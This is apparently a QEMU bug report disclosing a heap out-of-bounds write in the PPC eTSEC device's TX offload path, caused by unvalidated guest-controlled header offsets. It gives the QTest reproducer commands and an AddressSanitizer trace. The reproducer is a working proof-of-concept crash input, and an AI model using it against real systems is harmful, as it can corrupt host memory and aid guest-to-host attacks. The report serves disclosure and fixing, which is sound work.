hw/net/fsl_etsec/rings.c:A heap out-of-bounds write bug in the eTSEC on PPC architecture
## Environment
Host: ubuntu 24.03 \
Use QTest \
Architecture: PPC
## Details
When the guest provides a crafted TX buffer descriptor (BD) with TCP/IP offload enabled (BD_TX_TOEUN).
The function computes header pointers as follows: \
`l3_header = tx_buffer + 8 + l3_header_offset` \
`l4_header = l3_header + l4_header_offset`
Both l3_header_offset and l4_header_offset are fully controlled by guest input and are not validated against the allocated buffer size.
This leads to an out-of-bounds write: \
`l4_header[6] = 0` \
`l4_header[7] = 0`
By carefully selecting offsets, the write can occur up to 508 bytes beyond the allocated heap buffer.
## Steps to reproduce
First Run Qemu: /qemu/build-ppc/qemu-system-ppc \
-M ppce500 -m 256M -device eTSEC \
-nographic -monitor none -serial none \
-qtest stdio
Then Qtest input by stdio:
write 0x01000000 0x8 0xa802001002000000 \
write 0x02000000 0x10 0x5800ffff000000000000000000000000 \
writel 0xf0000002c 0x00000001 \
writel 0xf00000500 0x00000001 \
writel 0xf00000204 0x01000000 \
writel 0xf00000104 0x80000000
## Additional information
==8641==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200005fc5c at pc 0x610b727aa829 bp 0x7ffd2e9e1bd0 sp 0x7ffd2e9e1bc0\
WRITE of size 1 at 0x50200005fc5c thread T0\
#0 0x610b727aa828 in process_tx_fcb ../hw/net/fsl_etsec/rings.c:<wbr>206\
#1 0x610b727aaead in process_tx_bd ../hw/net/fsl_etsec/rings.c:<wbr>255\
#2 0x610b727ab678 in etsec_walk_tx_ring ../hw/net/fsl_etsec/rings.c:<wbr>356\
#3 0x610b727a7652 in write_tstat ../hw/net/fsl_etsec/etsec.c:<wbr>119\
#4 0x610b727a7f40 in etsec_write ../hw/net/fsl_etsec/etsec.c:<wbr>240\
#5 0x610b72b5aefc in memory_region_write_accessor ../system/memory.c:491\
#6 0x610b72b5b547 in access_with_adjusted_size ../system/memory.c:562\
#7 0x610b72b641e5 in memory_region_dispatch_write ../system/memory.c:1547\
#8 0x610b72b8e19d in flatview_write_continue_step ../system/physmem.c:3269\
#9 0x610b72b8e398 in flatview_write_continue ../system/physmem.c:3299\
#10 0x610b72b8e6a2 in flatview_write ../system/physmem.c:3330\
#11 0x610b72b8f2ba in address_space_write ../system/physmem.c:3450\
#12 0x610b72ba079c in qtest_process_command ../system/qtest.c:533\
#13 0x610b72ba44ab in qtest_process_inbuf ../system/qtest.c:778\
#14 0x610b72ba4830 in qtest_read ../system/qtest.c:787\
#15 0x610b73340d32 in qemu_chr_be_write_impl ../chardev/char.c:247\
#16 0x610b73340de1 in qemu_chr_be_write ../chardev/char.c:259\
#17 0x610b7334616d in fd_chr_read ../chardev/char-fd.c:72\
#18 0x610b730ad4ab in qio_channel_fd_source_dispatch ../io/channel-watch.c:84\
#19 0x750aa769545d (/lib/x86_64-linux-gnu/<wbr>libglib-2.0.so.0+0x5d45d) (BuildId: 116e142b9b52c8a4dfd403e759e71a<wbr>b8f95d8bb3)\
#20 0x750aa76956cf in g_main_context_dispatch (/lib/x86_64-linux-gnu/<wbr>libglib-2.0.so.0+0x5d6cf) (BuildId: 116e142b9b52c8a4dfd403e759e71a<wbr>b8f95d8bb3)\
#21 0x610b7356ab4e in glib_pollfds_poll ../util/main-loop.c:290\
#22 0x610b7356accb in os_host_main_loop_wait ../util/main-loop.c:313\
#23 0x610b7356aff0 in main_loop_wait ../util/main-loop.c:592\
#24 0x610b72baa2f4 in qemu_main_loop ../system/runstate.c:945\
#25 0x610b73385453 in qemu_default_main ../system/main.c:50\
#26 0x610b733855a7 in main ../system/main.c:93\
#27 0x750aa722a1c9 in \__libc_start_call_main ../sysdeps/nptl/libc_start\_<wbr>call_main.h:58\
#28 0x750aa722a28a in \__libc_start_main_impl ../csu/libc-start.c:360\
#29 0x610b7232bbc4 in \_start (/home/agent/Desktop/qemu-<wbr>scan/qemu/build-ppc/qemu-<wbr>system-ppc+0xa58bc4) (BuildId: dc8479e96d4d4ea7f67685a51d4559<wbr>e8848d9cf0)\
\
0x50200005fc5c is located 508 bytes after 16-byte region \[0x50200005fa50,<wbr>0x50200005fa60)\
allocated by thread T0 here:\
#0 0x750aa7afc778 in realloc ../../../../src/libsanitizer/<wbr>asan/asan_malloc_linux.cpp:85\
#1 0x750aa769b819 in g_realloc (/lib/x86_64-linux-gnu/<wbr>libglib-2.0.so.0+0x63819) (BuildId: 116e142b9b52c8a4dfd403e759e71a<wbr>b8f95d8bb3)\
#2 0x610b727aabe1 in process_tx_bd ../hw/net/fsl_etsec/rings.c:<wbr>240\
#3 0x610b727ab678 in etsec_walk_tx_ring ../hw/net/fsl_etsec/rings.c:<wbr>356\
#4 0x610b727a7652 in write_tstat ../hw/net/fsl_etsec/etsec.c:<wbr>119\
#5 0x610b727a7f40 in etsec_write ../hw/net/fsl_etsec/etsec.c:<wbr>240\
#6 0x610b72b5aefc in memory_region_write_accessor ../system/memory.c:491\
#7 0x610b72b5b547 in access_with_adjusted_size ../system/memory.c:562\
#8 0x610b72b641e5 in memory_region_dispatch_write ../system/memory.c:1547\
#9 0x610b72b8e19d in flatview_write_continue_step ../system/physmem.c:3269\
#10 0x610b72b8e398 in flatview_write_continue ../system/physmem.c:3299\
#11 0x610b72b8e6a2 in flatview_write ../system/physmem.c:3330\
#12 0x610b72b8f2ba in address_space_write ../system/physmem.c:3450\
#13 0x610b72ba079c in qtest_process_command ../system/qtest.c:533\
#14 0x610b72ba44ab in qtest_process_inbuf ../system/qtest.c:778\
#15 0x610b72ba4830 in qtest_read ../system/qtest.c:787\
#16 0x610b73340d32 in qemu_chr_be_write_impl ../chardev/char.c:247\
#17 0x610b73340de1 in qemu_chr_be_write ../chardev/char.c:259\
#18 0x610b7334616d in fd_chr_read ../chardev/char-fd.c:72\
#19 0x610b730ad4ab in qio_channel_fd_source_dispatch ../io/channel-watch.c:84\
#20 0x750aa769545d (/lib/x86_64-linux-gnu/<wbr>libglib-2.0.so.0+0x5d45d) (BuildId: 116e142b9b52c8a4dfd403e759e71a<wbr>b8f95d8bb3)\
#21 0x750aa76956cf in g_main_context_dispatch (/lib/x86_64-linux-gnu/<wbr>libglib-2.0.so.0+0x5d6cf) (BuildId: 116e142b9b52c8a4dfd403e759e71a<wbr>b8f95d8bb3)\
#22 0x610b7356ab4e in glib_pollfds_poll ../util/main-loop.c:290\
#23 0x610b7356accb in os_host_main_loop_wait ../util/main-loop.c:313\
#24 0x610b7356aff0 in main_loop_wait ../util/main-loop.c:592\
#25 0x610b72baa2f4 in qemu_main_loop ../system/runstate.c:945\
#26 0x610b73385453 in qemu_default_main ../system/main.c:50\
#27 0x610b733855a7 in main ../system/main.c:93\
#28 0x750aa722a1c9 in \__libc_start_call_main ../sysdeps/nptl/libc_start\_<wbr>call_main.h:58\
#29 0x750aa722a28a in \__libc_start_main_impl ../csu/libc-start.c:360\
\
SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/net/fsl_etsec/rings.c:<wbr>206 in process_tx_fcb\
Shadow bytes around the buggy address:\
0x50200005f980: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa fd fd\
0x50200005fa00: fa fa 00 04 fa fa 00 03 fa fa 00 00 fa fa fa fa\
0x50200005fa80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
=\>0x50200005fc00: fa fa fa fa fa fa fa fa fa fa fa\[fa\]fa fa fa fa\
0x50200005fc80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fd00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fd80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fe00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
0x50200005fe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\
Shadow byte legend (one shadow byte represents 8 application bytes):\
Addressable: 00\
Partially addressable: 01 02 03 04 05 06 07\
Heap left redzone: fa\
Freed heap region: fd\
Stack left redzone: f1\
Stack mid redzone: f2\
Stack right redzone: f3\
Stack after return: f5\
Stack use after scope: f8\
Global redzone: f9\
Global init order: f6\
Poisoned by user: f7\
Container overflow: fc\
Array cookie: ac\
Intra object redzone: bb\
ASan internal: fe\
Left alloca redzone: ca\
Right alloca redzone: cb\
==8641==ABORTING
issue